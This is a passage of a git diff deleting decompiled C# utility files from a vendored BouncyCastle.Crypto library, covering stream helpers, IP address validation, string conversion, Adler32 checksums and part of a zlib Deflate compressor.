-} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/PushbackStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/PushbackStream.cs deleted file mode 100644 index 9f06199..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/PushbackStream.cs +++ /dev/null @@ -1,45 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Utilities.IO; - -public class PushbackStream : FilterStream -{ - private int buf = -1; - - public PushbackStream(Stream s) - : base(s) - { - } - - public override int ReadByte() - { - if (buf != -1) - { - int result = buf; - buf = -1; - return result; - } - return base.ReadByte(); - } - - public override int Read(byte[] buffer, int offset, int count) - { - if (buf != -1 && count > 0) - { - buffer[offset] = (byte)buf; - buf = -1; - return 1; - } - return base.Read(buffer, offset, count); - } - - public virtual void Unread(int b) - { - if (buf != -1) - { - throw new InvalidOperationException("Can only push back one byte"); - } - buf = b & 0xFF; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/StreamOverflowException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/StreamOverflowException.cs deleted file mode 100644 index 2f0d1f1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/StreamOverflowException.cs +++ /dev/null @@ -1,22 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Utilities.IO; - -[Serializable] -public class StreamOverflowException : IOException -{ - public StreamOverflowException() - { - } - - public StreamOverflowException(string message) - : base(message) - { - } - - public StreamOverflowException(string message, Exception exception) - : base(message, exception) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/Streams.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/Streams.cs deleted file mode 100644 index f0ff3f2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/Streams.cs +++ /dev/null @@ -1,104 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Utilities.IO; - -public sealed class Streams -{ - private const int BufferSize = 512; - - private Streams() - { - } - - public static void Drain(Stream inStr) - { - byte[] array = new byte[512]; - while (inStr.Read(array, 0, array.Length) > 0) - { - } - } - - public static byte[] ReadAll(Stream inStr) - { - MemoryStream memoryStream = new MemoryStream(); - PipeAll(inStr, memoryStream); - return memoryStream.ToArray(); - } - - public static byte[] ReadAllLimited(Stream inStr, int limit) - { - MemoryStream memoryStream = new MemoryStream(); - PipeAllLimited(inStr, limit, memoryStream); - return memoryStream.ToArray(); - } - - public static int ReadFully(Stream inStr, byte[] buf) - { - return ReadFully(inStr, buf, 0, buf.Length); - } - - public static int ReadFully(Stream inStr, byte[] buf, int off, int len) - { - int i; - int num; - for (i = 0; i < len; i += num) - { - num = inStr.Read(buf, off + i, len - i); - if (num < 1) - { - break; - } - } - return i; - } - - public static void PipeAll(Stream inStr, Stream outStr) - { - byte[] array = new byte[512]; - int count; - while ((count = inStr.Read(array, 0, array.Length)) > 0) - { - outStr.Write(array, 0, count); - } - } - - public static long PipeAllLimited(Stream inStr, long limit, Stream outStr) - { - byte[] array = new byte[512]; - long num = 0L; - int num2; - while ((num2 = inStr.Read(array, 0, array.Length)) > 0) - { - if (limit - num < num2) - { - throw new StreamOverflowException("Data Overflow"); - } - num += num2; - outStr.Write(array, 0, num2); - } - return num; - } - - public static void WriteBufTo(MemoryStream buf, Stream output) - { - buf.WriteTo(output); - } - - public static int WriteBufTo(MemoryStream buf, byte[] output, int offset) - { - int num = (int)buf.Length; - buf.WriteTo(new MemoryStream(output, offset, num, writable: true)); - return num; - } - - public static void WriteZeroes(Stream outStr, long count) - { - byte[] buffer = new byte[512]; - while (count > 512) - { - outStr.Write(buffer, 0, 512); - count -= 512; - } - outStr.Write(buffer, 0, (int)count); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/TeeInputStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/TeeInputStream.cs deleted file mode 100644 index dc74465..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/TeeInputStream.cs +++ /dev/null @@ -1,43 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Utilities.IO; - -public class TeeInputStream : BaseInputStream -{ - private readonly Stream input; - - private readonly Stream tee; - - public TeeInputStream(Stream input, Stream tee) - { - this.input = input; - this.tee = tee; - } - - public override void Close() - { - Platform.Dispose(input); - Platform.Dispose(tee); - base.Close(); - } - - public override int Read(byte[] buf, int off, int len) - { - int num = input.Read(buf, off, len); - if (num > 0) - { - tee.Write(buf, off, num); - } - return num; - } - - public override int ReadByte() - { - int num = input.ReadByte(); - if (num >= 0) - { - tee.WriteByte((byte)num); - } - return num; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/TeeOutputStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/TeeOutputStream.cs deleted file mode 100644 index 4978b1b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/IO/TeeOutputStream.cs +++ /dev/null @@ -1,35 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Utilities.IO; - -public class TeeOutputStream : BaseOutputStream -{ - private readonly Stream output; - - private readonly Stream tee; - - public TeeOutputStream(Stream output, Stream tee) - { - this.output = output; - this.tee = tee; - } - - public override void Close() - { - Platform.Dispose(output); - Platform.Dispose(tee); - base.Close(); - } - - public override void Write(byte[] buffer, int offset, int count) - { - output.Write(buffer, offset, count); - tee.Write(buffer, offset, count); - } - - public override void WriteByte(byte b) - { - output.WriteByte(b); - tee.WriteByte(b); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Integers.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Integers.cs deleted file mode 100644 index edd5944..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Integers.cs +++ /dev/null @@ -1,28 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Utilities; - -public abstract class Integers -{ - public static int RotateLeft(int i, int distance) - { - return (i << distance) ^ (i >>> -distance); - } - - [CLSCompliant(false)] - public static uint RotateLeft(uint i, int distance) - { - return (i << distance) ^ (i >> -distance); - } - - public static int RotateRight(int i, int distance) - { - return (i >>> distance) ^ (i << -distance); - } - - [CLSCompliant(false)] - public static uint RotateRight(uint i, int distance) - { - return (i >> distance) ^ (i << -distance); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/MemoableResetException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/MemoableResetException.cs deleted file mode 100644 index c3e8206..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/MemoableResetException.cs +++ /dev/null @@ -1,11 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Utilities; - -public class MemoableResetException : InvalidCastException -{ - public MemoableResetException(string msg) - : base(msg) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Net/IPAddress.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Net/IPAddress.cs deleted file mode 100644 index 873b772..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Net/IPAddress.cs +++ /dev/null @@ -1,189 +0,0 @@ -using System; -using System.Globalization; - -namespace Org.BouncyCastle.Utilities.Net; - -public class IPAddress -{ - public static bool IsValid(string address) - { - if (!IsValidIPv4(address)) - { - return IsValidIPv6(address); - } - return true; - } - - public static bool IsValidWithNetMask(string address) - { - if (!IsValidIPv4WithNetmask(address)) - { - return IsValidIPv6WithNetmask(address); - } - return true; - } - - public static bool IsValidIPv4(string address) - { - try - { - return unsafeIsValidIPv4(address); - } - catch (FormatException) - { - } - catch (OverflowException) - { - } - return false; - } - - private static bool unsafeIsValidIPv4(string address) - { - if (address.Length == 0) - { - return false; - } - int num = 0; - string text = address + "."; - int num2 = 0; - int num3; - while (num2 < text.Length && (num3 = text.IndexOf('.', num2)) > num2) - { - if (num == 4) - { - return false; - } - string s = text.Substring(num2, num3 - num2); - int num4 = int.Parse(s); - if (num4 < 0 || num4 > 255) - { - return false; - } - num2 = num3 + 1; - num++; - } - return num == 4; - } - - public static bool IsValidIPv4WithNetmask(string address) - { - int num = address.IndexOf('/'); - string text = address.Substring(num + 1); - if (num > 0 && IsValidIPv4(address.Substring(0, num))) - { - if (!IsValidIPv4(text)) - { - return IsMaskValue(text, 32); - } - return true; - } - return false; - } - - public static bool IsValidIPv6WithNetmask(string address) - { - int num = address.IndexOf('/'); - string text = address.Substring(num + 1); - if (num > 0) - { - if (IsValidIPv6(address.Substring(0, num))) - { - if (!IsValidIPv6(text)) - { - return IsMaskValue(text, 128); - } - return true; - } - return false; - } - return false; - } - - private static bool IsMaskValue(string component, int size) - { - int num = int.Parse(component); - try - { - return num >= 0 && num <= size; - } - catch (FormatException) - { - } - catch (OverflowException) - { - } - return false; - } - - public static bool IsValidIPv6(string address) - { - try - { - return unsafeIsValidIPv6(address); - } - catch (FormatException) - { - } - catch (OverflowException) - { - } - return false; - } - - private static bool unsafeIsValidIPv6(string address) - { - if (address.Length == 0) - { - return false; - } - int num = 0; - string text = address + ":"; - bool flag = false; - int num2 = 0; - int num3; - while (num2 < text.Length && (num3 = text.IndexOf(':', num2)) >= num2) - { - if (num == 8) - { - return false; - } - if (num2 != num3) - { - string text2 = text.Substring(num2, num3 - num2); - if (num3 == text.Length - 1 && text2.IndexOf('.') > 0) - { - if (!IsValidIPv4(text2)) - { - return false; - } - num++; - } - else - { - string s = text.Substring(num2, num3 - num2); - int num4 = int.Parse(s, NumberStyles.AllowHexSpecifier); - if (num4 < 0 || num4 > 65535) - { - return false; - } - } - } - else - { - if (num3 != 1 && num3 != text.Length - 1 && flag) - { - return false; - } - flag = true; - } - num2 = num3 + 1; - num++; - } - if (num != 8) - { - return flag; - } - return true; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Platform.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Platform.cs deleted file mode 100644 index 9326679..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Platform.cs +++ /dev/null @@ -1,126 +0,0 @@ -using System; -using System.Collections; -using System.Globalization; -using System.IO; -using System.Security; - -namespace Org.BouncyCastle.Utilities; - -internal abstract class Platform -{ - private static readonly CompareInfo InvariantCompareInfo = CultureInfo.InvariantCulture.CompareInfo; - - internal static readonly string NewLine = GetNewLine(); - - private static string GetNewLine() - { - return Environment.NewLine; - } - - internal static bool EqualsIgnoreCase(string a, string b) - { - return ToUpperInvariant(a) == ToUpperInvariant(b); - } - - internal static string GetEnvironmentVariable(string variable) - { - try - { - return Environment.GetEnvironmentVariable(variable); - } - catch (SecurityException) - { - return null; - } - } - - internal static Exception CreateNotImplementedException(string message) - { - return new NotImplementedException(message); - } - - internal static IList CreateArrayList() - { - return new ArrayList(); - } - - internal static IList CreateArrayList(int capacity) - { - return new ArrayList(capacity); - } - - internal static IList CreateArrayList(ICollection collection) - { - return new ArrayList(collection); - } - - internal static IList CreateArrayList(IEnumerable collection) - { - ArrayList arrayList = new ArrayList(); - foreach (object item in collection) - { - arrayList.Add(item); - } - return arrayList; - } - - internal static IDictionary CreateHashtable() - { - return new Hashtable(); - } - - internal static IDictionary CreateHashtable(int capacity) - { - return new Hashtable(capacity); - } - - internal static IDictionary CreateHashtable(IDictionary dictionary) - { - return new Hashtable(dictionary); - } - - internal static string ToLowerInvariant(string s) - { - return s.ToLower(CultureInfo.InvariantCulture); - } - - internal static string ToUpperInvariant(string s) - { - return s.ToUpper(CultureInfo.InvariantCulture); - } - - internal static void Dispose(Stream s) - { - s.Close(); - } - - internal static void Dispose(TextWriter t) - { - t.Close(); - } - - internal static int IndexOf(string source, string value) - { - return InvariantCompareInfo.IndexOf(source, value, CompareOptions.Ordinal); - } - - internal static int LastIndexOf(string source, string value) - { - return InvariantCompareInfo.LastIndexOf(source, value, CompareOptions.Ordinal); - } - - internal static bool StartsWith(string source, string prefix) - { - return InvariantCompareInfo.IsPrefix(source, prefix, CompareOptions.Ordinal); - } - - internal static bool EndsWith(string source, string suffix) - { - return InvariantCompareInfo.IsSuffix(source, suffix, CompareOptions.Ordinal); - } - - internal static string GetTypeName(object obj) - { - return obj.GetType().FullName; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Strings.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Strings.cs deleted file mode 100644 index 0b2ba53..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Strings.cs +++ /dev/null @@ -1,99 +0,0 @@ -using System; -using System.Text; - -namespace Org.BouncyCastle.Utilities; - -public abstract class Strings -{ - public static string ToUpperCase(string original) - { - bool flag = false; - char[] array = original.ToCharArray(); - for (int i = 0; i != array.Length; i++) - { - char c = array[i]; - if ('a' <= c && 'z' >= c) - { - flag = true; - array[i] = (char)(c - 97 + 65); - } - } - if (flag) - { - return new string(array); - } - return original; - } - - internal static bool IsOneOf(string s, params string[] candidates) - { - foreach (string text in candidates) - { - if (s == text) - { - return true; - } - } - return false; - } - - public static string FromByteArray(byte[] bs) - { - char[] array = new char[bs.Length]; - for (int i = 0; i < array.Length; i++) - { - array[i] = Convert.ToChar(bs[i]); - } - return new string(array); - } - - public static byte[] ToByteArray(char[] cs) - { - byte[] array = new byte[cs.Length]; - for (int i = 0; i < array.Length; i++) - { - array[i] = Convert.ToByte(cs[i]); - } - return array; - } - - public static byte[] ToByteArray(string s) - { - byte[] array = new byte[s.Length]; - for (int i = 0; i < array.Length; i++) - { - array[i] = Convert.ToByte(s[i]); - } - return array; - } - - public static string FromAsciiByteArray(byte[] bytes) - { - return Encoding.ASCII.GetString(bytes, 0, bytes.Length); - } - - public static byte[] ToAsciiByteArray(char[] cs) - { - return Encoding.ASCII.GetBytes(cs); - } - - public static byte[] ToAsciiByteArray(string s) - { - return Encoding.ASCII.GetBytes(s); - } - - public static string FromUtf8ByteArray(byte[] bytes) - { - return Encoding.UTF8.GetString(bytes, 0, bytes.Length); - } - - public static byte[] ToUtf8ByteArray(char[] cs) - { - return Encoding.UTF8.GetBytes(cs); - } - - public static byte[] ToUtf8ByteArray(string s) - { - return Encoding.UTF8.GetBytes(s); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Times.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Times.cs deleted file mode 100644 index 9f4d604..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Times.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Utilities; - -public sealed class Times -{ - private static long NanosecondsPerTick = 100L; - - public static long NanoTime() - { - return DateTime.UtcNow.Ticks * NanosecondsPerTick; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/Adler32.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/Adler32.cs deleted file mode 100644 index c2164c1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/Adler32.cs +++ /dev/null @@ -1,71 +0,0 @@ -namespace Org.BouncyCastle.Utilities.Zlib; - -internal sealed class Adler32 -{ - private const int BASE = 65521; - - private const int NMAX = 5552; - - internal long adler32(long adler, byte[] buf, int index, int len) - { - if (buf == null) - { - return 1L; - } - long num = adler & 0xFFFF; - long num2 = (adler >> 16) & 0xFFFF; - while (len > 0) - { - int num3 = ((len < 5552) ? len : 5552); - len -= num3; - while (num3 >= 16) - { - num += buf[index++] & 0xFF; - num2 += num; - num += buf[index++] & 0xFF; - num2 += num; - num += buf[index++] & 0xFF; - num2 += num; - num += buf[index++] & 0xFF; - num2 += num; - num += buf[index++] & 0xFF; - num2 += num; - num += buf[index++] & 0xFF; - num2 += num; - num += buf[index++] & 0xFF; - num2 += num; - num += buf[index++] & 0xFF; - num2 += num; - num += buf[index++] & 0xFF; - num2 += num; - num += buf[index++] & 0xFF; - num2 += num; - num += buf[index++] & 0xFF; - num2 += num; - num += buf[index++] & 0xFF; - num2 += num; - num += buf[index++] & 0xFF; - num2 += num; - num += buf[index++] & 0xFF; - num2 += num; - num += buf[index++] & 0xFF; - num2 += num; - num += buf[index++] & 0xFF; - num2 += num; - num3 -= 16; - } - if (num3 != 0) - { - do - { - num += buf[index++] & 0xFF; - num2 += num; - } - while (--num3 != 0); - } - num %= 65521; - num2 %= 65521; - } - return (num2 << 16) | num; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/Deflate.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/Deflate.cs deleted file mode 100644 index af7bcd1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/Deflate.cs +++ /dev/null @@ -1,1436 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Utilities.Zlib; - -public sealed class Deflate -{ - internal class Config - { - internal int good_length; - - internal int max_lazy; - - internal int nice_length; - - internal int max_chain; - - internal int func; - - internal Config(int good_length, int max_lazy, int nice_length, int max_chain, int func) - { - this.good_length = good_length; - this.max_lazy = max_lazy; - this.nice_length = nice_length; - this.max_chain = max_chain; - this.func = func; - } - } - - private const int MAX_MEM_LEVEL = 9; - - private const int Z_DEFAULT_COMPRESSION = -1; - - private const int MAX_WBITS = 15; - - private const int DEF_MEM_LEVEL = 8; - - private const int STORED = 0; - - private const int FAST = 1; - - private const int SLOW = 2; - - private const int NeedMore = 0; - - private const int BlockDone = 1; - - private const int FinishStarted = 2; - - private const int FinishDone = 3; - - private const int PRESET_DICT = 32; - - private const int Z_FILTERED = 1; - - private const int Z_HUFFMAN_ONLY = 2; - - private const int Z_DEFAULT_STRATEGY = 0; - - private const int Z_NO_FLUSH = 0; - - private const int Z_PARTIAL_FLUSH = 1; - - private const int Z_SYNC_FLUSH = 2; - - private const int Z_FULL_FLUSH = 3; - - private const int Z_FINISH = 4; - - private const int Z_OK = 0; - - private const int Z_STREAM_END = 1; - - private const int Z_NEED_DICT = 2; - - private const int Z_ERRNO = -1; - - private const int Z_STREAM_ERROR = -2; - - private const int Z_DATA_ERROR = -3; - - private const int Z_MEM_ERROR = -4; - - private const int Z_BUF_ERROR = -5; - - private const int Z_VERSION_ERROR = -6; - - private const int INIT_STATE = 42; - - private const int BUSY_STATE = 113; - - private const int FINISH_STATE = 666; - - private const int Z_DEFLATED = 8; - - private const int STORED_BLOCK = 0; - - private const int STATIC_TREES = 1; - - private const int DYN_TREES = 2; - - private const int Z_BINARY = 0; - - private const int Z_ASCII = 1; - - private const int Z_UNKNOWN = 2; - - private const int Buf_size = 16; - - private const int REP_3_6 = 16; - - private const int REPZ_3_10 = 17; - - private const int REPZ_11_138 = 18; - - private const int MIN_MATCH = 3; - - private const int MAX_MATCH = 258; - - private const int MIN_LOOKAHEAD = 262; - - private const int MAX_BITS = 15; - - private const int D_CODES = 30; - - private const int BL_CODES = 19; - - private const int LENGTH_CODES = 29; - - private const int LITERALS = 256; - - private const int L_CODES = 286; - - private const int HEAP_SIZE = 573; - - private const int END_BLOCK = 256; - - private static readonly Config[] config_table; - - private static readonly string[] z_errmsg; - - internal ZStream strm; - - internal int status; - - internal byte[] pending_buf; - - internal int pending_buf_size; - - internal int pending_out; - - internal int pending; - - internal int noheader; - - internal byte data_type; - - internal byte method; - - internal int last_flush; - - internal int w_size; - - internal int w_bits; - - internal int w_mask; - - internal byte[] window; - - internal int window_size; - - internal short[] prev; - - internal short[] head; - - internal int ins_h; - - internal int hash_size; - - internal int hash_bits; - - internal int hash_mask; - - internal int hash_shift; - - internal int block_start; - - internal int match_length; - - internal int prev_match; - - internal int match_available; - - internal int strstart; - - internal int match_start; - - internal int lookahead; - - internal int prev_length; - - internal int max_chain_length; - - internal int max_lazy_match; - - internal int level; - - internal int strategy; - - internal int good_match; - - internal int nice_match; - - internal short[] dyn_ltree; - - internal short[] dyn_dtree; - - internal short[] bl_tree; - - internal Tree l_desc = new Tree(); - - internal Tree d_desc = new Tree(); - - internal Tree bl_desc = new Tree(); - - internal short[] bl_count = new short[16]; - - internal int[] heap = new int[573]; - - internal int heap_len; - - internal int heap_max; - - internal byte[] depth = new byte[573]; - - internal int l_buf; - - internal int lit_bufsize; - - internal int last_lit; - - internal int d_buf; - - internal int opt_len; - - internal int static_len; - - internal int matches; - - internal int last_eob_len; - - internal uint bi_buf; - - internal int bi_valid; - - static Deflate() - { - z_errmsg = new string[10] { "need dictionary", "stream end", "", "file error", "stream error", "data error", "insufficient memory", "buffer error", "incompatible version", "" }; - config_table = new Config[10]; - config_table[0] = new Config(0, 0, 0, 0, 0); - config_table[1] = new Config(4, 4, 8, 4, 1); - config_table[2] = new Config(4, 5, 16, 8, 1); - config_table[3] = new Config(4, 6, 32, 32, 1); - config_table[4] = new Config(4, 4, 16, 16, 2); - config_table[5] = new Config(8, 16, 32, 32, 2); - config_table[6] = new Config(8, 16, 128, 128, 2); - config_table[7] = new Config(8, 32, 128, 256, 2); - config_table[8] = new Config(32, 128, 258, 1024, 2); - config_table[9] = new Config(32, 258, 258, 4096, 2); - } - - internal Deflate() - { - dyn_ltree = new short[1146]; - dyn_dtree = new short[122]; - bl_tree = new short[78]; - } - - internal void lm_init() - { - window_size = 2 * w_size; - head[hash_size - 1] = 0; - for (int i = 0; i < hash_size - 1; i++) - { - head[i] = 0; - } - max_lazy_match = config_table[level].max_lazy; - good_match = config_table[level].good_length; - nice_match = config_table[level].nice_length; - max_chain_length = config_table[level].max_chain; - strstart = 0; - block_start = 0; - lookahead = 0; - match_length = (prev_length = 2); - match_available = 0; - ins_h = 0; - } - - internal void tr_init() - { - l_desc.dyn_tree = dyn_ltree; - l_desc.stat_desc = StaticTree.static_l_desc; - d_desc.dyn_tree = dyn_dtree; - d_desc.stat_desc = StaticTree.static_d_desc; - bl_desc.dyn_tree = bl_tree; - bl_desc.stat_desc = StaticTree.static_bl_desc; - bi_buf = 0u; - bi_valid = 0; - last_eob_len = 8; - init_block(); - } - - internal void init_block() - { - for (int i = 0; i < 286; i++) - { - dyn_ltree[i * 2] = 0; - } - for (int j = 0; j < 30; j++) - { - dyn_dtree[j * 2] = 0; - } - for (int k = 0; k < 19; k++) - { - bl_tree[k * 2] = 0; - } - dyn_ltree[512] = 1; - opt_len = (static_len = 0); - last_lit = (matches = 0); - } - - internal void pqdownheap(short[] tree, int k) - { - int num = heap[k]; - for (int num2 = k << 1; num2 <= heap_len; num2 <<= 1) - { - if (num2 < heap_len && smaller(tree, heap[num2 + 1], heap[num2], depth)) - { - num2++; - } - if (smaller(tree, num, heap[num2], depth)) - { - break; - } - heap[k] = heap[num2]; - k = num2; - } - heap[k] = num; - } - - internal static bool smaller(short[] tree, int n, int m, byte[] depth) - { - short num = tree[n * 2]; - short num2 = tree[m * 2]; - if (num >= num2) - { - if (num == num2) - { - return depth[n] <= depth[m]; - } - return false; - } - return true; - } - - internal void scan_tree(short[] tree, int max_code) - { - int num = -1; - int num2 = tree[1]; - int num3 = 0; - int num4 = 7; - int num5 = 4; - if (num2 == 0) - { - num4 = 138; - num5 = 3; - } - tree[(max_code + 1) * 2 + 1] = -1; - for (int i = 0; i <= max_code; i++) - { - int num6 = num2; - num2 = tree[(i + 1) * 2 + 1]; - if (++num3 < num4 && num6 == num2) - { - continue; - } - if (num3 < num5) - { - short[] array2; - short[] array = (array2 = bl_tree); - int num7 = num6 * 2; - nint num8 = num7; - array[num7] = (short)(array2[num8] + (short)num3); - } - else if (num6 != 0) - { - short[] array2; - if (num6 != num) - { - short[] array3 = (array2 = bl_tree); - int num9 = num6 * 2; - nint num8 = num9; - array3[num9] = (short)(array2[num8] + 1); - } - (array2 = bl_tree)[32] = (short)(array2[32] + 1); - } - else if (num3 <= 10) - { - short[] array2; - (array2 = bl_tree)[34] = (short)(array2[34] + 1); - } - else - { - short[] array2; - (array2 = bl_tree)[36] = (short)(array2[36] + 1); - } - num3 = 0; - num = num6; - if (num2 == 0) - { - num4 = 138; - num5 = 3; - } - else if (num6 == num2) - { - num4 = 6; - num5 = 3; - } - else - { - num4 = 7; - num5 = 4; - } - } - } - - internal int build_bl_tree() - { - scan_tree(dyn_ltree, l_desc.max_code); - scan_tree(dyn_dtree, d_desc.max_code); - bl_desc.build_tree(this); - int num = 18; - while (num >= 3 && bl_tree[Tree.bl_order[num] * 2 + 1] == 0) - { - num--; - } - opt_len += 3 * (num + 1) + 5 + 5 + 4; - return num; - } - - internal void send_all_trees(int lcodes, int dcodes, int blcodes) - { - send_bits(lcodes - 257, 5); - send_bits(dcodes - 1, 5); - send_bits(blcodes - 4, 4); - for (int i = 0; i < blcodes; i++) - { - send_bits(bl_tree[Tree.bl_order[i] * 2 + 1], 3); - } - send_tree(dyn_ltree, lcodes - 1); - send_tree(dyn_dtree, dcodes - 1); - } - - internal void send_tree(short[] tree, int max_code) - { - int num = -1; - int num2 = tree[1]; - int num3 = 0; - int num4 = 7; - int num5 = 4; - if (num2 == 0) - { - num4 = 138; - num5 = 3; - } - for (int i = 0; i <= max_code; i++) - { - int num6 = num2; - num2 = tree[(i + 1) * 2 + 1]; - if (++num3 < num4 && num6 == num2) - { - continue; - } - if (num3 < num5) - { - do - { - send_code(num6, bl_tree); - } - while (--num3 != 0); - } - else if (num6 != 0) - { - if (num6 != num) - { - send_code(num6, bl_tree); - num3--; - } - send_code(16, bl_tree); - send_bits(num3 - 3, 2); - } - else if (num3 <= 10) - { - send_code(17, bl_tree); - send_bits(num3 - 3, 3); - } - else - { - send_code(18, bl_tree); - send_bits(num3 - 11, 7); - } - num3 = 0; - num = num6; - if (num2 == 0) - { - num4 = 138; - num5 = 3; - } - else if (num6 == num2) - { - num4 = 6; - num5 = 3; - } - else - { - num4 = 7; - num5 = 4; - } - } - } - - internal void put_byte(byte[] p, int start, int len) - { - Array.Copy(p, start, pending_buf, pending, len); - pending += len; - } - - internal void put_byte(byte c) - { - pending_buf[pending++] = c; - } - - internal void put_short(int w) - { - pending_buf[pending++] = (byte)w; - pending_buf[pending++] = (byte)(w >> 8); - } - - internal void putShortMSB(int b) - { - pending_buf[pending++] = (byte)(b >> 8); - pending_buf[pending++] = (byte)b; - } - - internal void send_code(int c, short[] tree) - { - int num = c * 2; - send_bits(tree[num] & 0xFFFF, tree[num + 1] & 0xFFFF); - } - - internal void send_bits(int val, int length) - { - if (bi_valid > 16 - length) - { - bi_buf |= (uint)(val << bi_valid); - pending_buf[pending++] = (byte)bi_buf; - pending_buf[pending++] = (byte)(bi_buf >> 8); - bi_buf = (uint)val >> 16 - bi_valid; - bi_valid += length - 16; - } - else - { - bi_buf |= (uint)(val << bi_valid); - bi_valid += length; - } - } - - internal void _tr_align() - { - send_bits(2, 3); - send_code(256, StaticTree.static_ltree); - bi_flush(); - if (1 + last_eob_len + 10 - bi_valid < 9) - { - send_bits(2, 3); - send_code(256, StaticTree.static_ltree); - bi_flush(); - } - last_eob_len = 7; - } - - internal bool _tr_tally(int dist, int lc) - { - pending_buf[d_buf + last_lit * 2] = (byte)(dist >> 8); - pending_buf[d_buf + last_lit * 2 + 1] = (byte)dist; - pending_buf[l_buf + last_lit] = (byte)lc; - last_lit++; - if (dist == 0) - { - short[] array2; - short[] array = (array2 = dyn_ltree); - int num = lc * 2; - nint num2 = num; - array[num] = (short)(array2[num2] + 1); - } - else - { - matches++; - dist--; - short[] array2; - short[] array3 = (array2 = dyn_ltree); - int num3 = (Tree._length_code[lc] + 256 + 1) * 2; - nint num2 = num3; - array3[num3] = (short)(array2[num2] + 1); - short[] array4 = (array2 = dyn_dtree); - int num4 = Tree.d_code(dist) * 2; - num2 = num4; - array4[num4] = (short)(array2[num2] + 1); - } - if ((last_lit & 0x1FFF) == 0 && level > 2) - { - int num5 = last_lit * 8; - int num6 = strstart - block_start; - for (int i = 0; i < 30; i++) - { - num5 += (int)(dyn_dtree[i * 2] * (5L + (long)Tree.extra_dbits[i])); - } - num5 >>= 3; - if (matches < last_lit / 2 && num5 < num6 / 2) - { - return true; - } - } - return last_lit == lit_bufsize - 1; - } - - internal void compress_block(short[] ltree, short[] dtree) - { - int num = 0; - if (last_lit != 0) - { - do - { - int num2 = ((pending_buf[d_buf + num * 2] << 8) & 0xFF00) | (pending_buf[d_buf + num * 2 + 1] & 0xFF); - int num3 = pending_buf[l_buf + num] & 0xFF; - num++; - if (num2 == 0) - { - send_code(num3, ltree); - continue; - } - int num4 = Tree._length_code[num3]; - send_code(num4 + 256 + 1, ltree); - int num5 = Tree.extra_lbits[num4]; - if (num5 != 0) - { - num3 -= Tree.base_length[num4]; - send_bits(num3, num5); - } - num2--; - num4 = Tree.d_code(num2); - send_code(num4, dtree); - num5 = Tree.extra_dbits[num4]; - if (num5 != 0) - { - num2 -= Tree.base_dist[num4]; - send_bits(num2, num5); - } - } - while (num < last_lit); - } - send_code(256, ltree); - last_eob_len = ltree[513]; - } - - internal void set_data_type() - { - int i = 0; - int num = 0; - int num2 = 0; - for (; i < 7; i++) - { - num2 += dyn_ltree[i * 2]; - } - for (; i < 128; i++) - { - num += dyn_ltree[i * 2]; - } - for (; i < 256; i++) - { - num2 += 